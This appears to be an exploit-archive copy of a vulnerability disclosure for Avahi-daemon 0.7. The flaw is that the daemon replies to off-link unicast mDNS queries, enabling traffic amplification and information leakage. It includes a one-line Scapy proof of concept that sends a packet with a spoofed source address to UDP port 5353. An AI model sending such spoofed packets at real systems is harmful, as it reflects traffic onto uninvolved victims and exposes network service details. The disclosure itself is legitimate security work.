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Avahi 0.7 Denial Of Service

Avahi 0.7 Denial Of Service
Posted Nov 28, 2018
Authored by Krzysztof Burghardt

Avahi-daemon in Avahi version through 0.7 inadvertently sends Legacy Unicast Responses to IPv4 unicast queries with source addresses that are not link-local, which allows remote attackers to cause a denial of service (traffic amplification) or obtain potentially sensitive information via port-5353 UDP packets.

tags | exploit, remote, denial of service, local, udp
MD5 | cddcb2a1458450dea8496f3e63c102cc

Avahi 0.7 Denial Of Service

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Hi!

Avahi-daemon in Avahi through 0.7 inadvertently sends Legacy Unicast
Responses to IPv4 unicast queries with source addresses that are not
link-local, which allows remote attackers to cause a denial of service
(traffic amplification) or obtain potentially sensitive information
via port-5353 UDP packets.

send(IP(src="1.1.1.1",dst="192.168.1.1")/UDP(sport=53,
dport=5353)/DNS(rd=1,qd=DNSQR(qtype="PTR", qname="_ssh._tcp.local.")))

Author was notified by his bug tracker:
https://github.com/lathiat/avahi/issues/203

Regards,
--
Krzysztof Burghardt <krzysztof@burghardt.pl>
http://www.burghardt.pl/

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